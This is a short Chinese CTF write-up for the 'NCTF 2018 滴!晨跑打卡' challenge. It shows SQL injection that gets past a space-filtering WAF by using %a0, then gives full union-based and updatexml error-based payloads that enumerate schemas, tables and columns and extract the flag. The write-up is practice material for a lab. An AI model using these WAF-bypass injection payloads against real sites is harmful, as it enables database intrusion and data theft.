NSS [NCTF 2018]滴!晨跑打卡
很明显是sql注入
输入一个1，语句直接显示了，非常的真诚和坦率
简单尝试了一下，发现有waf，过滤了空格
拿burp跑一下fuzz，看看有多少过滤
过滤了# * - 空格那我们无法通过#或者–+来注释掉最后的单引号而闭合
空格->%a0 （试了一下只有这个能替代空格，其他的比如说%0b，%00都不行）
闭合不了了的话我们可以在最后加一个%a0and%a0%271%27=%271或者%a0||%27抵消掉最后的空格
法一：联合查询
payload(均在url输入，id=payload)：
判断回显位：4
1%27%a0union%a0select%a01,2,3,4%a0and%a0%271%27=%271
爆库：information_schema、cgctf、mysql、performance_schema
1%27%a0and%a01=2%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(SCHEMA_NAME)%a0FROM%a0information_schema.SCHEMATA),2,3%a0and%a0%271%27=%271
爆表(cgctf库)：pcnumber
1%27%a0and%a01=2%a0union%a0select%a01,group_concat(table_name),3,4%a0from%a0information_schema.tables%a0where%a0table_schema=%27cgctf%27%a0and%a0%271%27=%271
爆列(pcnumber表)：id、bigtime、smalltime、flag
1%27%a0and%a01=2%a0union%a0select%a01,column_name,3,4%a0from%a0information_schema.columns%a0where%a0table_name=%27pcnumber%27%a0||%27
爆字段值：
1%27%a0and%a01=2%a0union%a0select%a01,(select%a0group_concat(flag)%a0from%a0cgctf.pcnumber),3,4%a0||%27
法二：报错注入
1%27%a0and%a0updatexml(1,substring(concat(0x7e,(select%a0group_concat(flag)%a0from%a0cgctf.pcnumber),0x7e),15,30),3)%a0||%27
非常奇怪的一点是，我联合注入回显位是4，但是报错注入回显位是3？？？？？？？？？？
